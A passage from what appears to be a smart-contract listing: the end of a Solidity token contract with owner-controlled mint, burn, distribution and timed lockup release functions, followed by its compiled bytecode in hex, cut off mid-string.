locks[_holder],
lockupInfo[_holder].length,
0,0,0,0
);
}
}
function distribute(address _to, uint256 _value) public onlyOwner returns (bool) {
require(_to != address(0));
require(_value <= balances[owner]);
balances[owner] = balances[owner].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(owner, _to, _value);
return true;
}
function distributeWithLockup(address _to, uint256 _value, uint256 _releaseStart, uint256 _termOfRound, uint256 _releaseRate) public onlyOwner returns (bool) {
distribute(_to, _value);
lock(_to, _value, _releaseStart, _termOfRound, _releaseRate);
return true;
}
function claimToken(ERC20 token, address _to, uint256 _value) public onlyOwner returns (bool) {
token.transfer(_to, _value);
return true;
}
function burn(uint256 _value) public onlyOwner returns (bool success) {
require(_value <= balances[msg.sender]);
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(burner, _value);
return true;
}
function mint(address _to, uint256 _amount) onlyOwner public returns (bool) {
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Transfer(address(0), _to, _amount);
return true;
}
function isContract(address addr) internal view returns (bool) {
uint size;
assembly{size := extcodesize(addr)}
return size > 0;
}
function autoUnlock(address _holder) internal returns (bool) {
for(uint256 idx =0; idx < lockupInfo[_holder].length ; idx++ ) {
if(locks[_holder]==false) {
return true;
}
if (lockupInfo[_holder][idx].releaseTime <= now) {
// If lockupinfo was deleted, loop restart at same position.
if( releaseTimeLock(_holder, idx) ) {
idx -=1;
}
}
}
return true;
}
function releaseTimeLock(address _holder, uint256 _idx) internal returns(bool) {
require(locks[_holder]);
require(_idx < lockupInfo[_holder].length);
// If lock status of holder is finished, delete lockup info.
LockupInfo storage info = lockupInfo[_holder][_idx];
uint256 releaseAmount = info.unlockAmountPerRound;
uint256 sinceFrom = now.sub(info.releaseTime);
uint256 sinceRound = sinceFrom.div(info.termOfRound);
releaseAmount = releaseAmount.add( sinceRound.mul(info.unlockAmountPerRound) );
if(releaseAmount >= info.lockupBalance) {
releaseAmount = info.lockupBalance;
delete lockupInfo[_holder][_idx];
lockupInfo[_holder][_idx] = lockupInfo[_holder][lockupInfo[_holder].length.sub(1)];
lockupInfo[_holder].length -=1;
if(lockupInfo[_holder].length == 0) {
locks[_holder] = false;
}
emit Unlock(_holder, releaseAmount);
balances[_holder] = balances[_holder].add(releaseAmount);
return true;
} else {
lockupInfo[_holder][_idx].releaseTime = lockupInfo[_holder][_idx].releaseTime.add( sinceRound.add(1).mul(info.termOfRound) );
lockupInfo[_holder][_idx].lockupBalance = lockupInfo[_holder][_idx].lockupBalance.sub(releaseAmount);
emit Unlock(_holder, releaseAmount);
balances[_holder] = balances[_holder].add(releaseAmount);
return false;
}
}
}
|
0x6080604052600436106101d85760003560e01c80637eee288d11610102578063c9e075c611610095578063dd62ed3e11610064578063dd62ed3e14610ce2578063f26c159f14610d67578063f2fde38b14610dd0578063fb93210814610e21576101d8565b8063c9e075c614610a82578063cae9ca5114610b18578063d051665014610c22578063d4ee1d9014610c8b576101d8565b80639b819d38116100d15780639b819d38146108e0578063a457c2d71461090b578063a9059cbb1461097e578063c572652b146109f1576101d8565b80637eee288d1461076f5780638456cb59146107e25780638da5cb5b146107f957806395d89b4114610850576101d8565b80633f4ba83a1161017a57806370a082311161014957806370a08231146105e1578063788649ea1461064657806379ba5097146106af5780637c759d0d146106de576101d8565b80633f4ba83a146104d557806340c10f19146104ec57806342966c681461055f5780635c975abb146105b2576101d8565b806318160ddd116101b657806318160ddd1461037357806323b872dd1461039e578063313ce567146104315780633950935114610462576101d8565b806306fdde03146101dd578063095ea7b31461026d578063125bfb66146102e0575b600080fd5b3480156101e957600080fd5b506101f2610e94565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610232578082015181840152602081019050610217565b50505050905090810190601f16801561025f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561027957600080fd5b506102c66004803603604081101561029057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610f32565b604051808215151515815260200191505060405180910390f35b3480156102ec57600080fd5b506103596004803603606081101561030357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061103e565b604051808215151515815260200191505060405180910390f35b34801561037f57600080fd5b50610388611167565b6040518082815260200191505060405180910390f35b3480156103aa57600080fd5b50610417600480360360608110156103c157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611171565b604051808215151515815260200191505060405180910390f35b34801561043d57600080fd5b506104466115fb565b604051808260ff1660ff16815260200191505060405180910390f35b34801561046e57600080fd5b506104bb6004803603604081101561048557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611600565b604051808215151515815260200191505060405180910390f35b3480156104e157600080fd5b506104ea611835565b005b3480156104f857600080fd5b506105456004803603604081101561050f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506118f0565b604051808215151515815260200191505060405180910390f35b34801561056b57600080fd5b506105986004803603602081101561058257600080fd5b8101908080359060200190929190505050611a6b565b604051808215151515815260200191505060405180910390f35b3480156105be57600080fd5b506105c7611c1f565b604051808215151515815260200191505060405180910390f35b3480156105ed57600080fd5b506106306004803603602081101561060457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611c32565b6040518082815260200191505060405180910390f35b34801561065257600080fd5b506106956004803603602081101561066957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611da4565b604051808215151515815260200191505060405180910390f35b3480156106bb57600080fd5b506106c4611ef9565b604051808215151515815260200191505060405180910390f35b3480156106ea57600080fd5b50610755600480360360a081101561070157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291908035906020019092919080359060200190929190803590602001909291905050506120d2565b604051808215151515815260200191505060405180910390f35b34801561077b57600080fd5b506107c86004803603604081101561079257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506123aa565b604051808215151515815260200191505060405180910390f35b3480156107ee57600080fd5b506107f76128a2565b005b34801561080557600080fd5b5061080e61295d565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561085c57600080fd5b50610865612982565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156108a557808201518184015260208101905061088a565b50505050905090810190601f1680156108d25780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156108ec57600080fd5b506108f5612a20565b6040518082815260200191505060405180910390f35b34801561091757600080fd5b506109646004803603604081101561092e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050612a28565b604051808215151515815260200191505060405180910390f35b34801561098a57600080fd5b506109d7600480360360408110156109a157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050612c5d565b604051808215151515815260200191505060405180910390f35b3480156109fd57600080fd5b50610a68600480360360a0811015610a1457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001909291908035906020019092919080359060200190929190505050612f4e565b604051808215151515815260200191505060405180910390f35b348015610a8e57600080fd5b50610adb60048036036040811015610aa557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050612fcf565b6040518087151515158152602001868152602001858152602001848152602001838152602001828152602001965050505050505060405180910390f35b348015610b2457600080fd5b50610c0860048036036060811015610b3b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919080359060200190640100000000811115610b8257600080fd5b820183602082011115610b9457600080fd5b80359060200191846001830284011164010000000083111715610bb657600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f8201169050808301925050505050505091929192905050506132f4565b604051808215151515815260200191505060405180910390f35b348015610c2e57600080fd5b50610c7160048036036020811015610c4557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061346f565b604051808215151515815260200191505060405180910390f35b348015610c9757600080fd5b50610ca061348f565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b348015610cee57600080fd5b50610d5160048036036040811015610d0557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506134b5565b6040518082815260200191505060405180910390f35b348015610d7357600080fd5b50610db660048036036020811015610d8a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061353c565b604051808215151515815260200191505060405180910390f35b348015610ddc57600080fd5b50610e1f60048036036020811015610df357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050613692565b005b348015610e2d57600080fd5b50610e7a60048036036040811015610e4457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050613769565b604051808215151515815260200191505060405180910390f35b60028054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610f2a5780601f10610eff57610100808354040283529160200191610f2a565b820191906000526020600020905b815481529060010190602001808311610f0d57829003601f168201915b505050505081565b6000600160149054906101000a900460ff1615610f4e57600080fd5b81600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461109957600080fd5b8373ffffffffffffffffffffffffffffffffffffffff1663a9059cbb84846040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561112057600080fd5b505af1158015611134573d6000803e3d6000fd5b505050506040513d602081101561114a57600080fd5b810190808051906020019092919050505050600190509392505050565b6000600554905090565b6000600160149054906101000a900460ff161561118d57600080fd5b83600860008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156111e557600080fd5b600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156112425761124085613a67565b505b600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141561127c57600080fd5b600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548311156112c857600080fd5b600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483111561135157600080fd5b6113a383600660008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613bad90919063ffffffff16565b600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061143883600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613bc490919063ffffffff16565b600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061150a83600960008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613bad90919063ffffffff16565b600960008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a360019150509392505050565b601281565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561163b57600080fd5b6116ca82600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613bc490919063ffffffff16565b600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461188e57600080fd5b600160149054906101000a900460ff166118a757600080fd5b6000600160146101000a81548160ff0219169083151502179055507f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3360405160405180910390a1565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461194b57600080fd5b61196082600554613bc490919063ffffffff16565b6005819055506119b882600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613bc490919063ffffffff16565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611ac657600080fd5b600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115611b1257600080fd5b6000339050611b6983600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613bad90919063ffffffff16565b600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611bc183600554613bad90919063ffffffff16565b6005819055508073ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5846040518082815260200191505060405180910390a26001915050919050565b600160149054906101000a900460ff1681565b60008060009050600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611d5a5760008090505b600a60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002080549050811015611d5857611d49600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208281548110611d2857fe5b90600052602060002090600402016003015483613bc490919063ffffffff16565b91508080600101915050611c91565b505b80600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205401915050919050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611dff57600080fd5b600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16611e5557600080fd5b6000600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff167fca5069937e68fd197927055037f59d7c90bf75ac104e6e375539ef480c3ad6ee60405160405180910390a260019050919050565b60008073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415611f3457600080fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611f8e57600080fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461212d57600080fd5b84600660008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561217957600080fd5b600083141561218757600192505b6121d985600660008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613bad90919063ffffffff16565b600660008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600a60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060405180608001604052808681526020018581526020016122988561228a60648b613be090919063ffffffff16565b613bf990919063ffffffff16565b81526020018781525090806001815401808255809150509060018203906000526020600020906004020160009091929091909150600082015181600001556020820151816001015560408201518160020155606082015181600301555050506001600760008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508573ffffffffffffffffffffffffffffffffffffffff167f625fed9875dada8643f2418b838ae0bc78d9a148a18eee4ee1979ff0f3f5d427866040518082815260200191505060405180910390a26001905095945050505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461240557600080fd5b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1661245b57600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208054905082106124a957600080fd5b6000600a60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002083815481106124f557fe5b90600052602060002090600402019050600081600301549050600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020848154811061255857fe5b90600052602060002090600402016000808201600090556001820160009055600282016000905560038201600090555050600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002061261e6001600a60008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002080549050613bad90919063ffffffff16565b8154811061262857fe5b9060005260206000209060040201600a60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020858154811061268057fe5b9060005260206000209060040201600082015481600001556001820154816001015560028201548160020155600382015481600301559050506001600a60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208181805490500391508161270e919061440b565b506000600a60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208054905014156127b3576000600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b8473ffffffffffffffffffffffffffffffffffffffff167f6381d9813cabeb57471b5a7e05078e64845ccdb563146a6911d536f24ce960f1826040518082815260200191505060405180910390a261285381600660008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613bc490919063ffffffff16565b600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555060019250505092915050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146128fb57600080fd5b600160149054906101000a900460ff161561291557600080fd5b60018060146101000a81548160ff0219169083151502179055507f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62560405160405180910390a1565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60038054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015612a185780601f106129ed57610100808354040283529160200191612a18565b820191906000526020600020905b8154815290600101906020018083116129fb57829003601f168201915b505050505081565b600042905090565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415612a6357600080fd5b612af282600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613bad90919063ffffffff16565b600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600160149054906101000a900460ff1615612c7957600080fd5b33600860008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615612cd157600080fd5b600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615612d2e57612d2c33613a67565b505b600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415612d6857600080fd5b600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054831115612db457600080fd5b612e0683600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613bad90919063ffffffff16565b600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612e9b83600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613bc490919063ffffffff16565b600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3600191505092915050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614612fa957600080fd5b612fb38686613769565b50612fc186868686866120d2565b506001905095945050505050565b600080600080600080600760008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561323b57600760008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16600a60008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002080549050600a60008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020898154811061310457fe5b906000526020600020906004020160030154600a60008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208a8154811061316057fe5b906000526020600020906004020160000154600a60008d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208b815481106131bc57fe5b906000526020600020906004020160010154600a60008e73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208c8154811061321857fe5b9060005260206000209060040201600201549550955095509550955095506132ea565b600760008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16600a60008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020805490506000806000808393508292508191508090509550955095509550955095505b9295509295509295565b60006132ff84613c30565b61330857600080fd5b60008490506133178585610f32565b15613466578073ffffffffffffffffffffffffffffffffffffffff16638f4ffcb1338630876040518563ffffffff1660e01b8152600401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200180602001828103825283818151815260200191508051906020019080838360005b838110156133f55780820151818401526020810190506133da565b50505050905090810190601f1680156134225780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b15801561344457600080fd5b505af1158015613458573d6000803e3d6000fd5b505050506001915050613468565b505b9392505050565b60086020528060005260406000206000915054906101000a900460ff1681565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461359757600080fd5b600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156135ee57600080fd5b6001600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff167faf85b60d26151edd11443b704d424da6c43d0468f2235ebae3d1904dbc32304960405160405180910390a260019050919050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146136eb57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141561372557600080fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146137c457600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156137fe57600080fd5b600660008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111561386b57600080fd5b6138de82600660008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613bad90919063ffffffff16565b600660008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061399482600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613bc490919063ffffffff16565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523